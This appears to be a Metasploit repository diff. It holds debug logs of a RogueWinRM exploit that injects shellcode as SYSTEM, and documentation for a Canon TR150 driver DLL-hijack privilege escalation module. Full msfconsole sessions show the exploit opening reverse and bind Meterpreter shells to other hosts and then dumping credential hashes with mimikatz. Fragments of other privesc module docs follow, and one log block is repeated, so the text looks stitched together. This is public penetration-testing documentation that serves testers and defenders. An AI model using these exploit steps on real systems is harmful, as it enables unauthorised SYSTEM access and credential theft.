83 1.28746414 [7188] [hexDump] 0020 3a 20 4b 65 65 70 2d 41 6c 69 76 65 0d 0a 43 6f : Keep-Alive..Co
84 1.28755128 [7188] [hexDump] 0030 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c ntent-Type: appl
85 1.28757834 [7188] [hexDump] 0040 69 63 61 74 69 6f 6e 2f 73 6f 61 70 2b 78 6d 6c ication/soap+xml
86 1.28766000 [7188] [hexDump] 0050 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 31 36 0d ;charset=UTF-16.
87 1.28767395 [7188] [hexDump] 0060 0a 41 75 74 68 6f 72 69 7a 61 74 69 6f 6e 3a 20 .Authorization:
88 1.28775859 [7188] [hexDump] 0070 4e 65 67 6f 74 69 61 74 65 20 6f 58 63 77 64 61 Negotiate oXcwda
89 1.28778541 [7188] [hexDump] 0080 41 44 43 67 45 42 6f 6c 6f 45 57 45 35 55 54 45 ADCgEBoloEWE5UTE
90 1.28787005 [7188] [hexDump] 0090 31 54 55 31 41 41 41 77 41 41 41 41 41 41 41 41 1TU1AAAwAAAAAAAA
91 1.28789675 [7188] [hexDump] 00a0 42 59 41 41 41 41 41 41 41 41 41 46 67 41 41 41 BYAAAAAAAAAFgAAA
92 1.28798091 [7188] [hexDump] 00b0 41 41 41 41 41 41 57 41 41 41 41 41 41 41 41 41 AAAAAAWAAAAAAAAA
93 1.28800118 [7188] [hexDump] 00c0 42 59 41 41 41 41 41 41 41 41 41 46 67 41 41 41 BYAAAAAAAAAFgAAA
94 1.28809083 [7188] [hexDump] 00d0 41 41 41 41 41 41 57 41 41 41 41 44 58 43 69 4f AAAAAAWAAAADXCiO
95 1.28811765 [7188] [hexDump] 00e0 49 4b 41 4c 70 48 41 41 41 41 44 79 65 33 4e 77 IKALpHAAAADye3Nw
96 1.28817153 [7188] [hexDump] 00f0 34 39 70 77 2f 4f 35 37 6d 67 42 70 66 51 59 57 49pw/O57mgBpfQYW
97 1.28822196 [7188] [hexDump] 0100 4b 6a 45 67 51 51 41 51 41 41 41 4f 6e 6d 38 2b KjEgQQAQAAAOnm8+
98 1.28828132 [7188] [hexDump] 0110 45 37 77 57 65 36 41 41 41 41 41 41 3d 3d 0d 0a E7wWe6AAAAAA==..
99 1.28834140 [7188] [hexDump] 0120 55 73 65 72 2d 41 67 65 6e 74 3a 20 4d 69 63 72 User-Agent: Micr
100 1.28840005 [7188] [hexDump] 0130 6f 73 6f 66 74 20 57 69 6e 52 4d 20 43 6c 69 65 osoft WinRM Clie
101 1.28845811 [7188] [hexDump] 0140 6e 74 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 nt..Content-Leng
102 1.28851688 [7188] [hexDump] 0150 74 68 3a 20 30 0d 0a 48 6f 73 74 3a 20 6c 6f 63 th: 0..Host: loc
103 1.28857553 [7188] [hexDump] 0160 61 6c 68 6f 73 74 3a 35 39 38 35 0d 0a 0d 0a alhost:5985....
104 1.28857553 [7188]
105 1.28861415 [7188] [handleNTLMPConnection] Using ntlm type3 response in AcceptSecurityContext()...
106 1.28866363 [7188] [processNtlmBytes] -- handleType3 start --
107 1.28932333 [7188] [HandleType3] Result of AcceptSecurityContext() = status: 0x0--
108 1.28935909 [7188] [processNtlmBytes] -- handleType3 end --
109 1.28939426 [7188] [handleNTLMPConnection] Shutting down RogueWinRM service properly...
110 1.28953993 [7188] [handleNTLMPConnection] RogueWinRM service is now down.
111 1.32062924 [7188] [triggerBits] SUCCESS: BITS triggered!
112 1.32064247 [7188] [RunRogueWinRM] authresult 0
113 1.32069910 [7188] [IsTokenSystem] Checking if token is SYSTEM...
114 1.32073796 [7188] [IsTokenSystem] SUCCESS: Token is SYSTEM.
115 1.32080293 [7188] [RunRogueWinRM] Launching new process through CreateProcessWithTokenW().
116 1.32268882 [7188] [RunRogueWinRM] SUCCESS: target process launched as SYSTEM.
117 1.32270396 [7188] [RunRogueWinRM] Attempting to allocate executable memory space in spawned process...
118 1.32278264 [7188] [RunRogueWinRM] SUCCESS: executable memory space successfully allocated.
119 1.32282817 [7188] [RunRogueWinRM] Attempting to write shellcode in spawned process...
120 1.32286501 [7188] [RunRogueWinRM] SUCCESS: shellcode written into SYSTEM process.
121 1.32288563 [7188] [RunRogueWinRM] Attempting to trigger shellcode from spawned process...
122 1.32295120 [7188] [RunRogueWinRM] PWNED ! executing shellcode as SYSTEM.
123 1.32297337 [7188] [dllmain] Exit status: 0
1 0.00000000 [7188] [dllmain] Entry point.
2 0.00020640 [7188] [extract_metasploit_data] WinRM port: 5985
3 0.00035820 [7188] [extract_metasploit_data] Process to launch: notepad.exe
4 0.00039800 [7188] [extract_metasploit_data] shellcode length: 626
5 0.00055150 [7188] [createProcessMethod] Attempting to enable SE_IMPERSONATE_NAME privilege...
6 0.00128340 [7188] [EnablePriv] SUCCESS: Privilege enabled.
7 0.00360550 [7188] [startListener] SUCCESS: WSAStartup initialized
8 0.00363250 [7188] [startListener] SUCCESS: getaddrinfo initialized. host:127.0.0.1, port: 5985
9 0.00439900 [7188] [startListener] SUCCESS: socket created.
10 0.00447850 [7188] [startListener] SUCCESS: socket bound.
11 0.00449390 [7188] [startListener] SUCCESS: socket is now listening for incoming connexions.
12 1.00682116 [7188] [isBitsRunning] Checking if BITS is running (It should not)...
13 1.00756419 [7188] [isBitsRunning] SUCCESS: BITS is not running.
14 1.00760865 [7188] [triggerBits] Attempting to start BITS...
15 1.27990735 [7188] [startListener] SUCCESS: socket accept stage successful.
16 1.27999246 [7188] [handleListener] Rogue WinRM service now listening for connection on port 5985.
17 1.28006208 [7188] [handleNTLMPConnection] Received http negotiate request.
18 1.28009701 [7188] [hexDump] Hexdump of packet:
19 1.28023875 [7188] [hexDump] 0000 50 4f 53 54 20 2f 77 73 6d 61 6e 20 48 54 54 50 POST /wsman HTTP
20 1.28033876 [7188] [hexDump] 0010 2f 31 2e 31 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e /1.1..Connection
21 1.28043485 [7188] [hexDump] 0020 3a 20 4b 65 65 70 2d 41 6c 69 76 65 0d 0a 43 6f : Keep-Alive..Co
22 1.28052747 [7188] [hexDump] 0030 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c ntent-Type: appl
23 1.28062499 [7188] [hexDump] 0040 69 63 61 74 69 6f 6e 2f 73 6f 61 70 2b 78 6d 6c ication/soap+xml
24 1.28071892 [7188] [hexDump] 0050 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 31 36 0d ;charset=UTF-16.
25 1.28080654 [7188] [hexDump] 0060 0a 41 75 74 68 6f 72 69 7a 61 74 69 6f 6e 3a 20 .Authorization:
26 1.28090227 [7188] [hexDump] 0070 4e 65 67 6f 74 69 61 74 65 20 59 47 77 47 42 69 Negotiate YGwGBi
27 1.28100324 [7188] [hexDump] 0080 73 47 41 51 55 46 41 71 42 69 4d 47 43 67 47 6a sGAQUFAqBiMGCgGj
28 1.28108621 [7188] [hexDump] 0090 41 59 42 67 6f 72 42 67 45 45 41 59 49 33 41 67 AYBgorBgEEAYI3Ag
29 1.28115559 [7188] [hexDump] 00a0 49 4b 42 67 6f 72 42 67 45 45 41 59 49 33 41 67 IKBgorBgEEAYI3Ag
30 1.28125131 [7188] [hexDump] 00b0 49 65 6f 6b 49 45 51 45 35 55 54 45 31 54 55 31 IeokIEQE5UTE1TU1
31 1.28134823 [7188] [hexDump] 00c0 41 41 41 51 41 41 41 4c 65 79 43 4f 49 4a 41 41 AAAQAAALeyCOIJAA
32 1.28144515 [7188] [hexDump] 00d0 6b 41 4e 77 41 41 41 41 38 41 44 77 41 6f 41 41 kANwAAAA8ADwAoAA
33 1.28154385 [7188] [hexDump] 00e0 41 41 43 67 43 36 52 77 41 41 41 41 39 45 52 56 AACgC6RwAAAA9ERV
34 1.28162599 [7188] [hexDump] 00f0 4e 4c 56 45 39 51 4c 54 56 57 51 6c 56 56 52 54 NLVE9QLTVWQlVVRT
35 1.28167975 [7188] [hexDump] 0100 6c 58 54 31 4a 4c 52 31 4a 50 56 56 41 3d 0d 0a lXT1JLR1JPVVA=..
36 1.28172791 [7188] [hexDump] 0110 55 73 65 72 2d 41 67 65 6e 74 3a 20 4d 69 63 72 User-Agent: Micr
37 1.28177559 [7188] [hexDump] 0120 6f 73 6f 66 74 20 57 69 6e 52 4d 20 43 6c 69 65 osoft WinRM Clie
38 1.28182483 [7188] [hexDump] 0130 6e 74 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 nt..Content-Leng
39 1.28187311 [7188] [hexDump] 0140 74 68 3a 20 30 0d 0a 48 6f 73 74 3a 20 6c 6f 63 th: 0..Host: loc
40 1.28192329 [7188] [hexDump] 0150 61 6c 68 6f 73 74 3a 35 39 38 35 0d 0a 0d 0a alhost:5985....
41 1.28192329 [7188]
42 1.28198123 [7188] [processNtlmBytes] -- handleType1 start --
43 1.28448606 [7188] [HandleType1] Result of AcceptSecurityContext() = status: 0x90312--
44 1.28453183 [7188] [processNtlmBytes] -- handleType1 end --
45 1.28457534 [7188] [forge_ntlmssp_challenge_responses] Forging http response type2 packet...
46 1.28464592 [7188] [hexDump] Hexdump of packet:
47 1.28471112 [7188] [hexDump] 0000 48 54 54 50 2f 31 2e 31 20 34 30 31 20 0d 0a 57 HTTP/1.1 401 ..W
48 1.28477061 [7188] [hexDump] 0010 57 57 2d 41 75 74 68 65 6e 74 69 63 61 74 65 3a WW-Authenticate:
49 1.28485692 [7188] [hexDump] 0020 20 4e 65 67 6f 74 69 61 74 65 20 6f 59 49 42 43 Negotiate oYIBC
50 1.28487158 [7188] [hexDump] 0030 7a 43 43 41 51 65 67 41 77 6f 42 41 61 45 4d 42 zCCAQegAwoBAaEMB
51 1.28495753 [7188] [hexDump] 0040 67 6f 72 42 67 45 45 41 59 49 33 41 67 49 4b 6f gorBgEEAYI3AgIKo
52 1.28498507 [7188] [hexDump] 0050 6f 48 78 42 49 48 75 54 6c 52 4d 54 56 4e 54 55 oHxBIHuTlRMTVNTU
53 1.28507006 [7188] [hexDump] 0060 41 41 43 41 41 41 41 48 67 41 65 41 44 67 41 41 AACAAAAHgAeADgAA
54 1.28509665 [7188] [hexDump] 0070 41 41 31 77 6f 72 69 6f 34 36 75 39 5a 6c 55 6e AA1worio46u9ZlUn
55 1.28518021 [7188] [hexDump] 0080 6f 63 4c 41 41 45 41 41 41 41 41 41 4a 67 41 6d ocLAAEAAAAAAJgAm
56 1.28520679 [7188] [hexDump] 0090 41 42 57 41 41 41 41 43 67 43 36 52 77 41 41 41 ABWAAAACgC6RwAAA
57 1.28528929 [7188] [hexDump] 00a0 41 39 45 41 45 55 41 55 77 42 4c 41 46 51 41 54 A9EAEUAUwBLAFQAT
58 1.28532350 [7188] [hexDump] 00b0 77 42 51 41 43 30 41 4e 51 42 57 41 45 49 41 56 wBQAC0ANQBWAEIAV
59 1.28540862 [7188] [hexDump] 00c0 51 42 56 41 45 55 41 4f 51 41 43 41 42 34 41 52 QBVAEUAOQACAB4AR
60 1.28544271 [7188] [hexDump] 00d0 41 42 46 41 46 4d 41 53 77 42 55 41 45 38 41 55 ABFAFMASwBUAE8AU
61 1.28552401 [7188] [hexDump] 00e0 41 41 74 41 44 55 41 56 67 42 43 41 46 55 41 56 AAtADUAVgBCAFUAV
62 1.28554428 [7188] [hexDump] 00f0 51 42 46 41 44 6b 41 41 51 41 65 41 45 51 41 52 QBFADkAAQAeAEQAR
63 1.28563356 [7188] [hexDump] 0100 51 42 54 41 45 73 41 56 41 42 50 41 46 41 41 4c QBTAEsAVABPAFAAL
64 1.28566802 [7188] [hexDump] 0110 51 41 31 41 46 59 41 51 67 42 56 41 46 55 41 52 QA1AFYAQgBVAFUAR
65 1.28575194 [7188] [hexDump] 0120 51 41 35 41 41 51 41 48 67 42 45 41 45 55 41 55 QA5AAQAHgBEAEUAU
66 1.28578627 [7188] [hexDump] 0130 77 42 4c 41 46 51 41 54 77 42 51 41 43 30 41 4e wBLAFQATwBQAC0AN
67 1.28586805 [7188] [hexDump] 0140 51 42 57 41 45 49 41 56 51 42 56 41 45 55 41 4f QBWAEIAVQBVAEUAO
68 1.28590250 [7188] [hexDump] 0150 51 41 44 41 42 34 41 52 41 42 46 41 46 4d 41 53 QADAB4ARABFAFMAS
69 1.28598428 [7188] [hexDump] 0160 77 42 55 41 45 38 41 55 41 41 74 41 44 55 41 56 wBUAE8AUAAtADUAV
70 1.28601146 [7188] [hexDump] 0170 67 42 43 41 46 55 41 56 51 42 46 41 44 6b 41 42 gBCAFUAVQBFADkAB
71 1.28608716 [7188] [hexDump] 0180 77 41 49 41 47 73 53 5a 71 37 62 7a 74 59 42 41 wAIAGsSZq7bztYBA
72 1.28613508 [7188] [hexDump] 0190 41 41 41 41 41 3d 3d 0d 0a 53 65 72 76 65 72 3a AAAAA==..Server:
73 1.28618777 [7188] [hexDump] 01a0 20 4d 69 63 72 6f 73 6f 66 74 2d 48 54 54 50 41 Microsoft-HTTPA
74 1.28620350 [7188] [hexDump] 01b0 50 49 2f 32 2e 30 0d 0a 43 6f 6e 74 65 6e 74 2d PI/2.0..Content-
75 1.28625381 [7188] [hexDump] 01c0 4c 65 6e 67 74 68 3a 20 30 0d 0a 0d 0a 00 00 Length: 0......
76 1.28625381 [7188]
77 1.28628480 [7188] [handleNTLMPConnection] Sending the 401 http response with ntlm type 2 challenge...
78 1.28635943 [7188] [handleNTLMPConnection] 401 http response sent.
79 1.28725624 [7188] [handleNTLMPConnection] SUCCESS: Received http packet with ntlm type3 response.
80 1.28733253 [7188] [hexDump] Hexdump of packet:
81 1.28734791 [7188] [hexDump] 0000 50 4f 53 54 20 2f 77 73 6d 61 6e 20 48 54 54 50 POST /wsman HTTP
82 1.28743696 [7188] [hexDump] 0010 2f 31 2e 31 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e /1.1..Connection
83 1.28746414 [7188] [hexDump] 0020 3a 20 4b 65 65 70 2d 41 6c 69 76 65 0d 0a 43 6f : Keep-Alive..Co
84 1.28755128 [7188] [hexDump] 0030 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c ntent-Type: appl
85 1.28757834 [7188] [hexDump] 0040 69 63 61 74 69 6f 6e 2f 73 6f 61 70 2b 78 6d 6c ication/soap+xml
86 1.28766000 [7188] [hexDump] 0050 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 31 36 0d ;charset=UTF-16.
87 1.28767395 [7188] [hexDump] 0060 0a 41 75 74 68 6f 72 69 7a 61 74 69 6f 6e 3a 20 .Authorization:
88 1.28775859 [7188] [hexDump] 0070 4e 65 67 6f 74 69 61 74 65 20 6f 58 63 77 64 61 Negotiate oXcwda
89 1.28778541 [7188] [hexDump] 0080 41 44 43 67 45 42 6f 6c 6f 45 57 45 35 55 54 45 ADCgEBoloEWE5UTE
90 1.28787005 [7188] [hexDump] 0090 31 54 55 31 41 41 41 77 41 41 41 41 41 41 41 41 1TU1AAAwAAAAAAAA
91 1.28789675 [7188] [hexDump] 00a0 42 59 41 41 41 41 41 41 41 41 41 46 67 41 41 41 BYAAAAAAAAAFgAAA
92 1.28798091 [7188] [hexDump] 00b0 41 41 41 41 41 41 57 41 41 41 41 41 41 41 41 41 AAAAAAWAAAAAAAAA
93 1.28800118 [7188] [hexDump] 00c0 42 59 41 41 41 41 41 41 41 41 41 46 67 41 41 41 BYAAAAAAAAAFgAAA
94 1.28809083 [7188] [hexDump] 00d0 41 41 41 41 41 41 57 41 41 41 41 44 58 43 69 4f AAAAAAWAAAADXCiO
95 1.28811765 [7188] [hexDump] 00e0 49 4b 41 4c 70 48 41 41 41 41 44 79 65 33 4e 77 IKALpHAAAADye3Nw
96 1.28817153 [7188] [hexDump] 00f0 34 39 70 77 2f 4f 35 37 6d 67 42 70 66 51 59 57 49pw/O57mgBpfQYW
97 1.28822196 [7188] [hexDump] 0100 4b 6a 45 67 51 51 41 51 41 41 41 4f 6e 6d 38 2b KjEgQQAQAAAOnm8+
98 1.28828132 [7188] [hexDump] 0110 45 37 77 57 65 36 41 41 41 41 41 41 3d 3d 0d 0a E7wWe6AAAAAA==..
99 1.28834140 [7188] [hexDump] 0120 55 73 65 72 2d 41 67 65 6e 74 3a 20 4d 69 63 72 User-Agent: Micr
100 1.28840005 [7188] [hexDump] 0130 6f 73 6f 66 74 20 57 69 6e 52 4d 20 43 6c 69 65 osoft WinRM Clie
101 1.28845811 [7188] [hexDump] 0140 6e 74 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 nt..Content-Leng
102 1.28851688 [7188] [hexDump] 0150 74 68 3a 20 30 0d 0a 48 6f 73 74 3a 20 6c 6f 63 th: 0..Host: loc
103 1.28857553 [7188] [hexDump] 0160 61 6c 68 6f 73 74 3a 35 39 38 35 0d 0a 0d 0a alhost:5985....
104 1.28857553 [7188]
105 1.28861415 [7188] [handleNTLMPConnection] Using ntlm type3 response in AcceptSecurityContext()...
106 1.28866363 [7188] [processNtlmBytes] -- handleType3 start --
107 1.28932333 [7188] [HandleType3] Result of AcceptSecurityContext() = status: 0x0--
108 1.28935909 [7188] [processNtlmBytes] -- handleType3 end --
109 1.28939426 [7188] [handleNTLMPConnection] Shutting down RogueWinRM service properly...
110 1.28953993 [7188] [handleNTLMPConnection] RogueWinRM service is now down.
111 1.32062924 [7188] [triggerBits] SUCCESS: BITS triggered!
112 1.32064247 [7188] [RunRogueWinRM] authresult 0
113 1.32069910 [7188] [IsTokenSystem] Checking if token is SYSTEM...
114 1.32073796 [7188] [IsTokenSystem] SUCCESS: Token is SYSTEM.
115 1.32080293 [7188] [RunRogueWinRM] Launching new process through CreateProcessWithTokenW().
116 1.32268882 [7188] [RunRogueWinRM] SUCCESS: target process launched as SYSTEM.
117 1.32270396 [7188] [RunRogueWinRM] Attempting to allocate executable memory space in spawned process...
118 1.32278264 [7188] [RunRogueWinRM] SUCCESS: executable memory space successfully allocated.
119 1.32282817 [7188] [RunRogueWinRM] Attempting to write shellcode in spawned process...
120 1.32286501 [7188] [RunRogueWinRM] SUCCESS: shellcode written into SYSTEM process.
121 1.32288563 [7188] [RunRogueWinRM] Attempting to trigger shellcode from spawned process...
122 1.32295120 [7188] [RunRogueWinRM] PWNED ! executing shellcode as SYSTEM.
123 1.32297337 [7188] [dllmain] Exit status: 0
```
@@ -0,0 +1,312 @@
## Vulnerable Application
Canon TR150 print drivers versions 3.71.2.10 and below allow local users to read/write files
within the `CanonBJ` directory and its subdirectories. By overwriting the DLL at
`C:\\ProgramData\\CanonBJ\\IJPrinter\\CNMWINDOWS\\Canon TR150 series\\LanguageModules\\040C\\CNMurGE.dll`
with a malicious DLL at the right time whilst running the `C:\\Windows\\System32\\Printing_Admin_Scripts\\en-US\\prnmngr.vbs`
script to install a new printer, a timing issue can be exploited to cause the `PrintIsolationHost.exe` program,
which runs as `NT AUTHORITY\SYSTEM`, to successfully load the malicious DLL. Successful exploitation
will grant attackers code execution as the `NT AUTHORITY\SYSTEM` user.
This module leverages the `prnmngr.vbs` script
to add and delete printers. Multiple runs of this
module may be required given successful exploitation
is time-sensitive.
## Installation Instructions
1. Download the driver installer from https://pdisp01.c-wss.com/gdl/WWUFORedirectTarget.do?id=MDEwMDAxMDY5OTAx&cmp=ABR&lang=EN
1. Open up the EXE and run it as an administrator. Wait for installation to finish.
1. Go to `Add a New Printer or Scanner`, then select `The printer that I want isn't listed`. You may need to hit the refresh button for this to show up.
1. Select `Add a printer using a TCP/IP address or hostname` and click `Next`
1. Under `Device Type` select `TCP/IP device`, and enter a random nonexisting IP address.
1. Uncheck `Query the printer and automatically select the driver to use` and click `Next`.
1. Wait for a bit then once prompted for more port info select `Standard` under `Device Type` and select `Canon Network Printer` for device type.
1. On the next screen select `Canon TR150 Series` and select `Next`.
1. Select `Use the driver that is currently installed (recommended)` and select the `Next` button.
1. Select `Next` and accept the default driver name, and the driver should install.
## Verification Steps
1. Install a vulnerable Canon TR150 driver using the steps from `Installation Instructions`
2. Start `msfconsole`
3. Get a session with basic privileges
4. Do: `use exploit/windows/local/canon_driver_privesc`
5. Do: `set SESSION <sess_no>`
6. Do: `run`
7. You should get a shell running as `SYSTEM`.
## Options
## Scenarios
### Canon TR150 series v3.71.2.10 on Windows 10 Build 17134
```
msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 10.0.0.8
lhost => 10.0.0.8
msf6 exploit(multi/handler) > set lport 1270
lport => 1270
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.0.0.8:1270
[*] Sending stage (200262 bytes) to 10.0.0.7
[*] Meterpreter session 1 opened (10.0.0.8:1270 -> 10.0.0.7:49816) at 2021-08-05 11:14:25 -0400
meterpreter > getuid
Server username: MOURNLAND\lowlevel
meterpreter > sysinfo
Computer : MOURNLAND
OS : Windows 10 (10.0 Build 17134).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > use exploit/windows/local/canon_driver_privesc
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/canon_driver_privesc) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/local/canon_driver_privesc) > set lhost 10.0.0.8
lhost => 10.0.0.8
msf6 exploit(windows/local/canon_driver_privesc) > set session 1
session => 1
msf6 exploit(windows/local/canon_driver_privesc) > run
[*] Started reverse TCP handler on 10.0.0.8:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Canon language driver directory grants Users full permissions
[*] Dropping batch script to C:\Users\lowlevel\AppData\Local\Temp\YoBndh.bat
[*] Adding printer ePzTcgz...
[*] Sending stage (200262 bytes) to 10.0.0.7
[+] Deleted C:\Users\lowlevel\AppData\Local\Temp\YoBndh.bat
[+] Deleted C:\Users\lowlevel\AppData\Local\Temp\CNMurGE.dll
[*] Meterpreter session 2 opened (10.0.0.8:4444 -> 10.0.0.7:49819) at 2021-08-05 11:15:31 -0400
[*] Deleting printer ePzTcgz
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : MOURNLAND
OS : Windows 10 (10.0 Build 17134).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter > quit
[*] Shutting down Meterpreter...
```
### TR150 series Printer Driver Ver.1.00 On Windows 10 20H2
```
msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (generic/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Wildcard Target
msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/bind_tcp
PAYLOAD => windows/x64/meterpreter/bind_tcp
msf6 exploit(multi/handler) > set RHOST 192.168.224.211
RHOST => 192.168.224.211
msf6 exploit(multi/handler) > exploit
[*] Started bind TCP handler against 192.168.224.211:4444
[*] Sending stage (200262 bytes) to 192.168.224.211
[*] Meterpreter session 1 opened (0.0.0.0:0 -> 192.168.224.211:4444) at 2021-08-09 14:11:47 -0500
meterpreter > getuid
Server username: DESKTOP-DIK4B96\test
meterpreter > getprivs
Enabled Process Privileges
==========================
Name
----
SeChangeNotifyPrivilege
SeIncreaseWorkingSetPrivilege
SeShutdownPrivilege
SeTimeZonePrivilege
SeUndockPrivilege
meterpreter > getsystem
[-] priv_elevate_getsystem: Operation failed: Access is denied. The following was attempted:
[-] Named Pipe Impersonation (In Memory/Admin)
[-] Named Pipe Impersonation (Dropper/Admin)
[-] Token Duplication (In Memory/Admin)
[-] Named Pipe Impersonation (RPCSS variant)
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > use exploit/windows/local/canon_driver_privesc
[*] Using configured payload windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/canon_driver_privesc) > set SESSION 1
SESSION => 1
msf6 exploit(windows/local/canon_driver_privesc) > show options
Module options (exploit/windows/local/canon_driver_privesc):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION 1 yes The session to run this module on.
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.224.128 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows
msf6 exploit(windows/local/canon_driver_privesc) > set LPORT 8877
LPORT => 8877
msf6 exploit(windows/local/canon_driver_privesc) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/local/canon_driver_privesc) > show options
Module options (exploit/windows/local/canon_driver_privesc):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION 1 yes The session to run this module on.
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.224.128 yes The listen address (an interface may be specified)
LPORT 8877 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows
msf6 exploit(windows/local/canon_driver_privesc) > exploit
[*] Started reverse TCP handler on 192.168.224.128:8877
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Canon language driver directory grants Users full permissions
[*] Dropping batch script to C:\Users\test\AppData\Local\Temp\ssSffWM.bat
[*] Writing DLL file to C:\Users\test\AppData\Local\Temp\CNMurGE.dll
[*] Adding printer SFywU...
[*] Deleting printer SFywU
[*] Exploit completed, but no session was created.
msf6 exploit(windows/local/canon_driver_privesc) > exploit
[*] Started reverse TCP handler on 192.168.224.128:8877
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Canon language driver directory grants Users full permissions
[*] Dropping batch script to C:\Users\test\AppData\Local\Temp\dsrlKmQ.bat
[*] Writing DLL file to C:\Users\test\AppData\Local\Temp\CNMurGE.dll
[*] Adding printer HRudL...
[*] Sending stage (200262 bytes) to 192.168.224.211
[+] Deleted C:\Users\test\AppData\Local\Temp\dsrlKmQ.bat
[+] Deleted C:\Users\test\AppData\Local\Temp\CNMurGE.dll
[*] Meterpreter session 2 opened (192.168.224.128:8877 -> 192.168.224.211:61310) at 2021-08-09 14:13:12 -0500
[*] Deleting printer HRudL
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : DESKTOP-DIK4B96
OS : Windows 10 (10.0 Build 19042).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter > getprivs
Enabled Process Privileges
==========================
Name
----
SeAssignPrimaryTokenPrivilege
SeAuditPrivilege
SeChangeNotifyPrivilege
SeImpersonatePrivilege
SeTcbPrivilege
meterpreter > load kiwi
Loading extension kiwi...
.#####. mimikatz 2.2.0 20191125 (x64/windows)
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
Success.
meterpreter > creds_all
[+] Running as SYSTEM
[*] Retrieving all credentials
msv credentials
===============
Username Domain NTLM SHA1
-------- ------ ---- ----
test DESKTOP-DIK4B96 0cb6948805f797bf2a82807973b89537 87f8ed9157125ffc4da9e06a7b8011ad80a53fe1
wdigest credentials
===================
Username Domain Password
-------- ------ --------
(null) (null) (null)
DESKTOP-DIK4B96$ WORKGROUP (null)
test DESKTOP-DIK4B96 (null)
kerberos credentials
====================
Username Domain Password
-------- ------ --------
(null) (null) (null)
desktop-dik4b96$ WORKGROUP (null)
test DESKTOP-DIK4B96 (null)
meterpreter >
```
@@ -80,12 +80,8 @@ msf6 exploit(windows/local/cve_2019_1458_wizardopium) > exploit
[*] Started reverse TCP handler on 172.24.12.125:6633
[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable.
[*] Launching notepad.exe to host the exploit...
[+] Process 2816 launched.
[*] Injecting exploit into 2816 ...
[*] Exploit injected. Injecting payload into 2816...
[*] Payload injected. Executing exploit...
[+] Triggering the exploit...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Sending stage (200262 bytes) to 172.24.15.185
[*] Meterpreter session 2 opened (172.24.12.125:6633 -> 172.24.15.185:49223) at 2020-10-09 15:19:07 -0500
@@ -124,7 +124,7 @@ meterpreter > getsystem
[-] Token Duplication (In Memory/Admin)
meterpreter > background
[*] Backgrounding session 1...
msf5 exploit(multi/handler) > use exploit/windows/local/cve_2020_0668_service_tracing
msf5 exploit(multi/handler) > use exploit/windows/local/cve_2020_0668_service_tracing
msf5 exploit(windows/local/cve_2020_0668_service_tracing) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf5 exploit(windows/local/cve_2020_0668_service_tracing) > set lhost 192.168.135.168
@@ -164,7 +164,7 @@ Exploit target:
msf5 exploit(windows/local/cve_2020_0668_service_tracing) > run
[*] Started reverse TCP handler on 192.168.135.168:4444
[*] Started reverse TCP handler on 192.168.135.168:4444
[*] Build Number = 17134
[*] Attempting to PrivEsc on DESKTOP-D1E425Q via session ID: 1
